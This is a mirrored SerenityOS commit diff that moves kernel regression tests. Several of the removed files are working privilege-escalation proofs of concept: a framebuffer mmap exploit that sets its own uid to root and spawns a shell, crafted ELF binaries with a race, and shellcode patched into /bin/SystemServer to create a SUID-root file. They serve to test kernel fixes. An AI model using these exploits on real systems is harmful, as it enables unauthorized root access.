1
Fork 0
mirror of https://github.com/RGBCube/serenity synced 2025-07-25 23:17:45 +00:00

Tests: Build automatically, fix compilation errors

This commit is contained in:
Ben Wiederhake 2020-08-01 21:18:32 +02:00 committed by Andreas Kling
parent 538b985487
commit 29eceebdbf
21 changed files with 31 additions and 1 deletions

View file

@ -1,31 +0,0 @@
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
int main(int, char**)
{
constexpr const char* path = "/tmp/foo";
int rc = symlink("bar", path);
if (rc < 0) {
perror("symlink");
return 1;
}
int fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (fd < 0) {
perror("socket");
return 1;
}
struct sockaddr_un addr;
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, path, sizeof(addr.sun_path) - 1);
rc = bind(fd, (struct sockaddr*)(&addr), sizeof(addr));
if (rc < 0 && errno == EADDRINUSE)
return 0;
return 1;
}

View file

@ -1,92 +0,0 @@
#include <AK/Types.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
int main()
{
int fd = open("/dev/fb0", O_RDWR);
if (fd < 0) {
perror("open");
return 1;
}
size_t width = 17825;
size_t height = 1000;
size_t pitch = width * 4;
size_t framebuffer_size_in_bytes = pitch * height * 2;
FBResolution original_resolution;
if (ioctl(fd, FB_IOCTL_GET_RESOLUTION, &original_resolution) < 0) {
perror("ioctl");
return 1;
}
FBResolution resolution;
resolution.width = width;
resolution.height = height;
resolution.pitch = pitch;
if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &resolution) < 0) {
perror("ioctl");
return 1;
}
auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return 1;
}
printf("Success! Evil pointer: %p\n", ptr);
u8* base = &ptr[128 * MB];
uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
printf("base = %p\n", base);
printf("g_processes = %#08x\n", g_processes);
auto get_ptr = [&](uintptr_t value) -> void* {
value -= 0xc0000000;
return (void*)&base[value];
};
struct ProcessList {
uintptr_t head;
uintptr_t tail;
};
struct Process {
// 32 next
// 40 pid
// 44 uid
u8 dummy[32];
uintptr_t next;
u8 dummy2[4];
pid_t pid;
uid_t uid;
};
ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
Process* process = (Process*)get_ptr(process_list->head);
printf("{%p} PID: %d, UID: %d, next: %#08x\n", process, process->pid, process->uid, process->next);
if (process->pid == getpid()) {
printf("That's me! Let's become r00t!\n");
process->uid = 0;
}
if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &original_resolution) < 0) {
perror("ioctl");
return 1;
}
execl("/bin/sh", "sh", nullptr);
return 0;
}

View file

@ -1,46 +0,0 @@
/*
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int, char**)
{
int rc = fcntl(0, -42);
if (rc != -1) {
printf("FAIL: rc was %d, instead of -1\n", rc);
return 1;
} else if (errno != EINVAL) {
printf("FAIL: errno was %d, instead of EINVAL=%d\n", errno, EINVAL);
return 1;
} else {
printf("PASS\n");
}
return 0;
}

View file

@ -1,128 +0,0 @@
#include <LibELF/exec_elf.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
volatile bool hax = false;
int main()
{
char buffer[16384];
auto& header = *(Elf32_Ehdr*)buffer;
header.e_ident[EI_MAG0] = ELFMAG0;
header.e_ident[EI_MAG1] = ELFMAG1;
header.e_ident[EI_MAG2] = ELFMAG2;
header.e_ident[EI_MAG3] = ELFMAG3;
header.e_ident[EI_CLASS] = ELFCLASS32;
header.e_ident[EI_DATA] = ELFDATA2LSB;
header.e_ident[EI_VERSION] = EV_CURRENT;
header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
header.e_ident[EI_ABIVERSION] = 0;
header.e_type = ET_EXEC;
header.e_version = EV_CURRENT;
header.e_ehsize = sizeof(Elf32_Ehdr);
header.e_machine = EM_386;
header.e_shentsize = sizeof(Elf32_Shdr);
header.e_phnum = 1;
header.e_phoff = 52;
header.e_phentsize = sizeof(Elf32_Phdr);
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
ph[0].p_vaddr = 0x20000000;
ph[0].p_type = PT_LOAD;
ph[0].p_filesz = sizeof(buffer);
ph[0].p_memsz = sizeof(buffer);
ph[0].p_flags = PF_R | PF_W;
ph[0].p_align = PAGE_SIZE;
header.e_shnum = 3;
header.e_shoff = 1024;
u32 secret_address = 0x00184658;
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
sh[0].sh_type = SHT_SYMTAB;
sh[0].sh_offset = 2048;
sh[0].sh_entsize = sizeof(Elf32_Sym);
sh[0].sh_size = 1 * sizeof(Elf32_Sym);
sh[1].sh_type = SHT_STRTAB;
sh[1].sh_offset = secret_address - 0x01001000;
sh[1].sh_entsize = 0;
sh[1].sh_size = 1024;
sh[2].sh_type = SHT_STRTAB;
sh[2].sh_offset = 4096;
sh[2].sh_entsize = 0;
sh[2].sh_size = 1024;
header.e_shstrndx = 2;
auto* sym = (Elf32_Sym*)(&buffer[2048]);
sym[0].st_value = 0;
sym[0].st_name = 0;
header.e_entry = 0;
int fd = open("x", O_RDWR | O_CREAT, 0777);
if (fd < 0) {
perror("open");
return 1;
}
int nwritten = write(fd, buffer, sizeof(buffer));
if (nwritten < 0) {
perror("write");
return 1;
}
sync();
auto* mapped = (u8*)mmap(nullptr, sizeof(buffer), PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED, fd, 0);
if (mapped == MAP_FAILED) {
perror("mmap");
return 1;
}
auto* writable_program_headers = (Elf32_Phdr*)(&mapped[header.e_phoff]);
pthread_attr_t attrs;
pthread_attr_init(&attrs);
sched_param high_prio { 99 };
pthread_attr_setschedparam(&attrs, &high_prio);
pthread_t t;
pthread_create(
&t, &attrs, [](void* ctx) -> void* {
auto& ph = *(volatile Elf32_Phdr*)ctx;
for (;;) {
if (!hax)
ph.p_offset = 0x60000000;
else
ph.p_offset = 0;
hax = !hax;
usleep(1);
}
return nullptr;
},
&writable_program_headers[0]);
for (;;) {
if (!fork()) {
try_again:
printf("exec\n");
if (execl("/home/anon/x", "x", nullptr) < 0) {
}
goto try_again;
}
printf("waitpid\n");
waitpid(-1, nullptr, 0);
}
return 0;
}

View file

@ -1,106 +0,0 @@
#include <LibELF/exec_elf.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
asm("haxcode:\n"
"1: jmp 1b\n"
"haxcode_end:\n");
extern "C" void haxcode();
extern "C" void haxcode_end();
int main()
{
char buffer[16384];
auto& header = *(Elf32_Ehdr*)buffer;
header.e_ident[EI_MAG0] = ELFMAG0;
header.e_ident[EI_MAG1] = ELFMAG1;
header.e_ident[EI_MAG2] = ELFMAG2;
header.e_ident[EI_MAG3] = ELFMAG3;
header.e_ident[EI_CLASS] = ELFCLASS32;
header.e_ident[EI_DATA] = ELFDATA2LSB;
header.e_ident[EI_VERSION] = EV_CURRENT;
header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
header.e_ident[EI_ABIVERSION] = 0;
header.e_type = ET_EXEC;
header.e_version = EV_CURRENT;
header.e_ehsize = sizeof(Elf32_Ehdr);
header.e_machine = EM_386;
header.e_shentsize = sizeof(Elf32_Shdr);
header.e_phnum = 1;
header.e_phoff = 52;
header.e_phentsize = sizeof(Elf32_Phdr);
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
ph[0].p_vaddr = 0x20000000;
ph[0].p_type = PT_LOAD;
ph[0].p_filesz = sizeof(buffer);
ph[0].p_memsz = sizeof(buffer);
ph[0].p_flags = PF_R | PF_X;
ph[0].p_align = PAGE_SIZE;
header.e_shnum = 3;
header.e_shoff = 1024;
u32 secret_address = 0x00184658;
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
sh[0].sh_type = SHT_SYMTAB;
sh[0].sh_offset = 2048;
sh[0].sh_entsize = sizeof(Elf32_Sym);
sh[0].sh_size = 2 * sizeof(Elf32_Sym);
sh[1].sh_type = SHT_STRTAB;
sh[1].sh_offset = secret_address - 0x01001000;
sh[1].sh_entsize = 0;
sh[1].sh_size = 1024;
sh[2].sh_type = SHT_STRTAB;
sh[2].sh_offset = 4096;
sh[2].sh_entsize = 0;
sh[2].sh_size = 1024;
header.e_shstrndx = 2;
auto* sym = (Elf32_Sym*)(&buffer[2048]);
sym[0].st_value = 0x20002000;
sym[0].st_name = 0;
sym[1].st_value = 0x30000000;
sym[1].st_name = 0;
auto* strtab = (char*)&buffer[3072];
strcpy(strtab, "sneaky!");
auto* shstrtab = (char*)&buffer[4096];
strcpy(shstrtab, ".strtab");
auto* code = &buffer[8192];
size_t haxcode_size = (u32)haxcode_end - (u32)haxcode;
printf("memcpy(%p, %p, %zu)\n", code, haxcode, haxcode_size);
memcpy(code, (void*)haxcode, haxcode_size);
header.e_entry = 0x20000000 + 8192;
int fd = open("x", O_RDWR | O_CREAT, 0777);
if (fd < 0) {
perror("open");
return 1;
}
int nwritten = write(fd, buffer, sizeof(buffer));
if (nwritten < 0) {
perror("write");
return 1;
}
if (execl("/home/anon/x", "x", nullptr) < 0) {
perror("execl");
return 1;
}
return 0;
}

View file

@ -1,70 +0,0 @@
#include <AK/Types.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
int main()
{
int fd = open("/bin/SystemServer", O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}
u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return 1;
}
if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
perror("mprotect");
return 1;
}
/*
*
* This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
* It does two things:
*
* chown ("/home/anon/own", 0, 0);
* chmod ("/home/anon/own", 04755);
*
* In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
*
*/
#if 0
[bits 32]
[org 0x0804b111]
jmp $+17
path:
db "/home/anon/own", 0
mov eax, 79
mov edx, path
mov ecx, 0
mov ebx, 0
int 0x82
mov eax, 67
mov edx, path
mov ecx, 15
mov ebx, 2541
int 0x82
ret
#endif
const u8 payload[] = {
0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
};
memcpy(&ptr[0x3111], payload, sizeof(payload));
printf("ok\n");
return 0;
}

View file

@ -1,155 +0,0 @@
/*
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <pthread.h>
#include <assert.h>
#include <signal.h>
#include <stdio.h>
#include <time.h>
#include <unistd.h>
static void signal_printer(int)
{
// no-op
}
typedef struct yank_shared_t {
timespec* remaining_sleep;
// TODO: Be nice and use thread ID
//pthread_t sleeper_thread;
} yank_shared_t;
static void* yanker_fn(void* shared_)
{
yank_shared_t* shared = static_cast<yank_shared_t*>(shared_);
timespec requested_sleep = { 1, 0 };
int rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
if (rc != 0) {
printf("Yanker: Failed during sleep: %d\n", rc);
return nullptr;
}
delete shared->remaining_sleep; // T2
// Send SIGUSR1.
// Use pthread:
// pthread_kill(somewhere, SIGUSR1);
// But wait! pthread_kill isn't implemented yet, and therefore causes
// a linker error. It also looks like the corresponding syscall is missing.
// Use normal IPC syscall:
// kill(getpid(), SIGUSR1);
// But wait! If destination_pid == own_pid, then the signal is sent
// to the calling thread, *no matter what*.
// So, we have to go the very ugly route of fork():
// (Thank goodness this is only a demo of a kernel bug!)
pid_t pid_to_kill = getpid();
pid_t child_pid = fork();
if (child_pid < 0) {
printf("Yanker: Fork failed: %d\n", child_pid);
pthread_exit(nullptr); // See below
return nullptr;
}
if (child_pid > 0) {
// Success. Terminate quickly. T3
// FIXME: LibPthread bug: returning during normal operation causes nullptr deref.
// Workaround: Exit manually.
pthread_exit(nullptr);
return nullptr;
}
// Give parent *thread* a moment to die.
requested_sleep = { 1, 0 };
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
if (rc != 0) {
printf("Yanker-child: Failed during sleep: %d\n", rc);
return nullptr;
}
// Prod the parent *process*
kill(pid_to_kill, SIGUSR1); // T4
// Wait a moment, to ensure the log output is as well-separated as possible.
requested_sleep = { 2, 0 };
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
if (rc != 0) {
printf("Yanker-child: Failed during after-sleep: %d\n", rc);
return nullptr;
}
pthread_exit(nullptr);
assert(false);
// FIXME: return nullptr;
}
int main()
{
// Chronological order:
// T0: Main thread allocates region for the outvalue of clock_nanosleep
// T1: Main thread enters clock_nanosleep
// T2: Side thread deallocates that region
// T3: Side thread dies
// T4: A different process sends SIGUSR1, waking up the main thread,
// forcing the kernel to write to the deallocated Region.
// I'm sorry that both a side *thread* and a side *process* are necessary.
// Maybe in the future this test can be simplified, see above.
yank_shared_t shared = { nullptr };
shared.remaining_sleep = new timespec({ 0xbad, 0xf00d }); // T0
pthread_t yanker_thread;
int rc = pthread_create(&yanker_thread, nullptr, yanker_fn, &shared);
if (rc != 0) {
perror("pthread");
printf("FAIL\n");
return 1;
}
// Set an action for SIGUSR1, so that the sleep can be interrupted:
signal(SIGUSR1, signal_printer);
// T1: Go to sleep.
const timespec requested_sleep = { 3, 0 };
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, shared.remaining_sleep);
// Now we are beyond T4.
if (rc == 0) {
// We somehow weren't interrupted. Bad.
printf("Not interrupted.\n");
printf("FAIL\n");
return 1;
}
// nanosleep was interrupted and the kernel didn't crash. Good!
printf("PASS\n");
return 0;
}

View file

@ -1,36 +0,0 @@
#include <pthread.h>
#include <stdio.h>
#include <sys/select.h>
#include <unistd.h>
int pipefds[2];
int main(int, char**)
{
pipe(pipefds);
pthread_t tid;
pthread_create(
&tid, nullptr, [](void*) -> void* {
sleep(1);
printf("ST: close()\n");
close(pipefds[1]);
pthread_exit(nullptr);
return nullptr;
},
nullptr);
fd_set rfds;
FD_ZERO(&rfds);
FD_SET(pipefds[1], &rfds);
printf("MT: select()\n");
int rc = select(pipefds[1] + 1, &rfds, nullptr, nullptr, nullptr);
if (rc < 0) {
perror("select");
return 1;
}
printf("ok\n");
return 0;
}

View file

@ -1,21 +0,0 @@
#include <pthread.h>
#include <stdio.h>
#include <sys/select.h>
#include <unistd.h>
int main(int, char**)
{
pthread_t tid;
pthread_create(
&tid, nullptr, [](void*) -> void* {
sleep(1);
asm volatile("ud2");
return nullptr;
},
nullptr);
pthread_join(tid, nullptr);
printf("ok\n");
return 0;
}

View file

@ -1,16 +0,0 @@
#include <unistd.h>
#include <sys/stat.h>
int main()
{
if (!fork()) {
for (;;) {
mkdir("/tmp/x", 0666);
rmdir("/tmp/x");
}
}
for (;;) {
chdir("/tmp/x");
}
return 0;
}

View file

@ -1,25 +0,0 @@
#include <stdio.h>
#include <unistd.h>
int main(int argc, char** argv)
{
int res = pledge("stdio unix rpath", "stdio");
if (res < 0) {
perror("pledge");
return 1;
}
res = pledge("stdio unix", "stdio unix");
if (res >= 0) {
fprintf(stderr, "second pledge should have failed\n");
return 1;
}
res = pledge("stdio rpath", "stdio");
if (res < 0) {
perror("pledge");
return 1;
}
return 0;
}

View file

@ -1,71 +0,0 @@
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <ctime>
#include <cstring>
#include <cassert>
struct worker_t
{
const char* name;
int count;
pthread_t thread;
pthread_mutex_t lock;
pthread_cond_t cond;
long int wait_time;
};
void* run_worker(void* args)
{
struct timespec time_to_wait = {0, 0};
worker_t* worker = (worker_t*)args;
worker->count = 0;
while (worker->count < 25) {
time_to_wait.tv_sec = time(nullptr) + worker->wait_time;
pthread_mutex_lock(&worker->lock);
int rc = pthread_cond_timedwait(&worker->cond, &worker->lock, &time_to_wait);
// Validate return code is always timed out.
assert(rc == -1);
assert(errno == ETIMEDOUT);
worker->count++;
printf("Increase worker[%s] count to [%d]\n", worker->name, worker->count);
pthread_mutex_unlock(&worker->lock);
}
return nullptr;
}
void init_worker(worker_t* worker, const char* name, long int wait_time)
{
worker->name = name;
worker->wait_time = wait_time;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);
pthread_mutex_init(&worker->lock, nullptr);
pthread_cond_init(&worker->cond, nullptr);
pthread_create(&worker->thread, &attr, &run_worker, (void*) worker);
pthread_attr_destroy(&attr);
}
int main()
{
worker_t worker_a;
init_worker(&worker_a, "A", 2L);
worker_t worker_b;
init_worker(&worker_b, "B", 4L);
pthread_join(worker_a.thread, nullptr);
pthread_join(worker_b.thread, nullptr);
return EXIT_SUCCESS;
}

View file

@ -1,30 +0,0 @@
#include <pthread.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int pipefds[2];
int main(int, char**)
{
pipe(pipefds);
pthread_t tid;
pthread_create(
&tid, nullptr, [](void*) -> void* {
sleep(1);
printf("Second thread closing pipes!\n");
close(pipefds[0]);
close(pipefds[1]);
pthread_exit(nullptr);
return nullptr;
},
nullptr);
printf("First thread doing a blocking read from pipe...\n");
char buffer[16];
int nread = read(pipefds[0], buffer, sizeof(buffer));
printf("Ok, read %d bytes from pipe\n", nread);
return 0;
}